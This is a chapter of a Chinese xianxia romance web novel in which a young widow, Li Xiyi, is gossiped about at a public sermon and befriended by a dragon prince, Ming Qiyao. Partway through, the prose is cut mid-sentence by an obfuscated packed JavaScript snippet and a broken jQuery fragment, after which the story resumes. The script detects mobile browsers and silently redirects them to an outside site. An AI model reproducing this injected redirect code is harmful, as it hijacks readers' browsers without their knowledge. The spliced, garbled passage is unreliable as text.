56. 明氏七曜

作品:《夫兄

    李希夷走完三千阶时,已经过了中午。圣儒堂今日的第一轮讲经结束,堂主陆-亦乘稍事休息,因今日是圣儒堂难得对外讲经开放,堂前人山人海的,不少听众正交头接耳,谈论心得。


    “讲了什么,你记了没有?”


    “没啊,第二段我就睡着了。”


    “这位道友,你笔记能否借我俩瞧瞧?”


    “我也没记多少,后面内容太高深,听完脑子也是一片空白。字是字,句是句,偏偏听不明白是什么意思。”


    李希夷默默听了一会,陆亦乘讲经虽然由浅入深,但是精妙奥义,修为低的人也听不懂,只会昏昏欲睡。但如果听懂了,那就能有所顿悟,当场实现修为境界的跨越。


    她找了个无人的蒲团,盘腿坐下来。


    无所谓,反正她不是来听书的。


    她是伤心过度,来找个地方静心的。


    毕竟,她就是这么对池青道提议的。否则,池青道简直是有点病态地把她困在春山别苑内,没有他的允许,她只能足不出户。


    李希夷捏着酸痛的小腿,和印灵埋怨。


    【明天该和池青道要一个能代步的法宝。】


    走上三千阶,可太累了。


    “是她吗?”


    “应该是,你看,她穿的丧服啊。”


    李希夷听得不远处有人议论纷纷,其中一人指过来,指指点点。他们表情各异,有怜悯的,也有幸灾乐祸的,大部分人都是好奇。


    “那不成了寡妇了吗?”


    “就是啊,成亲没几个月,就把人克死了!”


    “可惜了池星野了。”


    “灵均仙君晋升化神期,他弟弟要是还活着,也跟着受尊荣。”


    “人都牺牲了,说这些也没什么意思……”


    “唉,你不知道吧,之前,池星野定亲的,本来是姬瑶……”


    种种议论,你传我,我传你,刚开始只是一小撮人讲闲话,到后来听经广场上越来越多的人,都议论起了新上仙山的“寡妇”。


    李希夷低下头。


    蜷缩,是身体的本能。


    她想过出去阻止,可是眼前总会想起那张脸,颌面嵌着兽牙。


    穿透了皮肤。


    她一遍遍地拔。


    可是,拔不出来。


    她的眼泪像失禁一样涌出来。


    星野啊,如果不是她,或许就这么和姬瑶成婚,到魔渊也有青云剑宗保护,是不是就不会死了?


    其实,都怪她,不是么?


    还有……再也不会回来的奶奶。


    都怪她啊。


    不远处,响起男人的声音。


    “喂,说别人这么有意思?”身着透明铠甲的金发少年,闯入传言最盛处,一脚踢飞蒲团,“我也听听。”


    说得最起劲的几个男修,脸色涨红脖子粗,憋了半天,还是不敢惹怒他,只得灰头灰脑挑了远一点的位置坐。


    其他跟着八卦议论的,也都歇了心思,很快注意力转移到吃什么下午听完了玩什么之上。


    那仗义执言的少年,向李希夷走去。


    他走近了,李希夷才发现,他身上穿的,那不是铠甲。


    是他的鳞片,白色的接近透明的,在阳光下会折射出彩虹般的光彩,漂亮而温柔。


    他耳上两段伸出的龙角,斜着刺向天空。


    “喂,他们说的又不是你。”


    李希夷疯狂擦脸,“是我。”


    少年朝自己的侍从确认。


    侍从汗津津,“是……是吧?”侍从朝着他耳语,“咱们初来乍到人生地不熟的,您悠着点,行不行。”


    七曜从侍从太瑞身上找出手帕,递到李希夷面前。


    “喏,别哭了。”


    李希夷接过手帕擦眼泪,眼泪涌得更凶了。


    人就是这样,伤心了独自垂泪,还能强迫自己忍住眼泪;这时要是有人安慰,势必委屈加倍,眼泪止都止不住了。


    七曜受不了,“怎么越哭越厉害?”


    李希夷委屈,“我……我不想哭的……”


    “可是眼泪会从鼻子里流……”


    “噗嗤。”七曜掌不住笑出声。


    被他这么一笑,李希夷也感觉不好意思,兀自忍耐流了会儿眼泪,李希夷才瓮声瓮气说:“谢谢啊。”


    七曜口气里都是笑意。


    “我叫明七曜,你叫什么?”


    “希夷。”丧服少女抬头,眼睛红肿似小兔子,“我叫李希夷。”


    看清少女那刻,明七曜心头像被羽毛挠了下。


    她穿得很素。


    身无饰物。


    只有乌发用赤色发带绑着,无名指戴着金色指环。


    是黑白色之外。她身上唯二的颜色点缀。


    耳垂也白白的,肉乎乎的,他忍不住想捏。收紧了手指。指关节挛缩了几下。


    七曜问:“你是哪个宗门的?”


    李希夷想了想,指向春山,“我住春山上。”


    明七曜“哦”了一声,“我能去看你吗?”


    他说完这句,清晰地看见,李希夷头上有撮小呆毛都翘了起来。


    侍从太瑞过来把他拉走,嘀嘀咕咕,嘴皮子飞快。态度卑微。


    “我的活爹,您不会看上寡妇了吧。我求您了。回去喝几副药调理一下吧。这个……这个龙的这个天性吧,它也不是没救的。”


    明七曜:“你骂我好/色?”


    “奴才不敢!”太瑞满脸写着“龙宫交给你,那是真完了。”


    明七曜推开他的脸,然后大喇喇往李希夷右边的蒲团一坐。他笑看李希夷。


    “我坐这没事吧?”


    太瑞抢答:“这有人的。”


    明七曜给他脑袋摁下去,自己贴近李希夷。


    李希夷忍俊不禁。


    少女绽开笑颜,枝头春花放,柔和而充满了生命力。


    她拽了拽七曜的铠甲边缘。


    “走,我们去那边。那里没人坐。”她说的地方,蒲团是空的;像是怕明七曜生气,她走了几步又小声补充,“坐别人位置不太好。”


    明七曜:“我坐哪儿都行。”脚步跟着李希夷不停。


    他回头,白了眼故意拖着脚步不肯走的太瑞,“听见没?”


    “我们。”


    她把他归为自己人了。


    太瑞扶额。掰手指头算日子。什么时候他能退休,在海里的宅子颐养天年。


    李希夷领着明七曜坐下,正好陆亦乘下半场的讲经开始了。


    圣儒堂弟子敲钵三声,以示肃静。


    陆亦乘坐在案前,声音传遍广场,确保每个人都能听到。李希夷猜是用什么法术扩音了。


    起初,李希夷还庆幸,明七曜和太瑞坐她身边,如同哼哈二将,有想靠近她的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810411|185463||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也不敢了。她乐得清静。


    但随着讲经开始,李希夷就觉得不妙了。


    “有生皆苦,有念皆妄,灭尽无余,不受后有,这一句……”


    陆亦乘公子温雅,讲得也鞭辟入里,只是太深奥,境界不够的,忍不住发昏。李希夷勉强听了一阵,到后面也是似懂非懂。


    她发现,他们三位置很扎眼。


    俗称坐老师眼皮子底下。


    怪不得讲经广场人山人海,就这块的蒲团又新又亮,根本没人想来坐。


    现下,李希夷就觉得,陆亦乘的目光往这边瞟了好几次,她想着赶快换位子。打眼一看,这讲经场座无虚席,敢情大家都这么奋进,奔着提修为来的。


    李希夷如坐针毡,不料怕什么来什么。


    只见台上陆亦乘中断了讲经,唤来了近前的弟子。耳语几句。


    那弟子也是年轻人模样,长相平平无奇,眉眼之间尽是谦卑平和。


    弟子听完陆亦乘的嘱托,直直朝李希夷的方向走俩。


    李希夷避无可避,只得同他见礼。


    那弟子道:“请问是春山李姑娘吗?”


    李希夷:“是我。”


    弟子作揖,“在下是圣儒堂大弟子赵济芒,奉师尊命,辛苦李姑娘移步。”


    果然被老师叫了!


    李希夷只得跟明七曜道了别,硬着头皮跟赵济芒走,而后被安排调到了离台上很近的位置。


    她什么小动作,陆亦乘都能看得清清楚楚。


    李希夷挺直腰背,认真听讲,时不时还要接受陆亦乘的提问,她实话实说,听不懂就是听不懂,陆亦乘不笑不怒,只不过把她说没听懂的地方,又掰碎了细细讲一遍。


    陆亦乘情绪越是稳定,对她越是照顾,李希夷就越是惴惴不安。


    偶尔走神了,她摸鱼都难受,好不容易才撑到讲经结束,李希夷困意十足,肚子还嗷嗷叫。


    散场时,赵济芒又留下李希夷,“灵均仙君待会儿来,姑娘且等等。”


    池青道还要来?


    李希夷内心是拒绝的。


    听完经,赵济芒和圣儒堂其他弟子收拾现场,他默默念叨,真气席卷开来,所有蒲团升天,而后汇入了一个芥子囊。


    有块石地板不小心被掀翻上了天。


    赵济芒:“待会儿我去找人换块新的。”


    李希夷默默闭嘴了。


    明七曜和太瑞过来,又说了会话。李希夷还没说几句,明七曜早把家底泄了个干干净净,就算太瑞在旁边把他脖子都掐紫了。


    李希夷忍不住偷笑。


    明七曜是十三界海底龙宫的继承人,因为是海王独子,是龙王想了很多法子才生下来的孩子,因而格外受宠。从小就天不怕地不怕,有什么说什么。


    这回是海王担心久居海底,海族式微,因此早早地趁明七曜年轻,就送他到钩吾山修习法术,以后再回海族去。


    这样,海族既显示了与仙山交好的诚意,又能让未来的海王掌握仙术,到底是稳赚不赔的事情。


    明七曜聊着愈觉和李希夷投缘,“你这个朋友,我交定了。”


    又说,“来日,我去春山寻你玩。”


    李希夷笑了笑,面露难色。


    “家中……长辈,可能不同意。”


    明七曜笑容灿烂,“那有什么,到时我去说。”


    突然,他笑容一敛。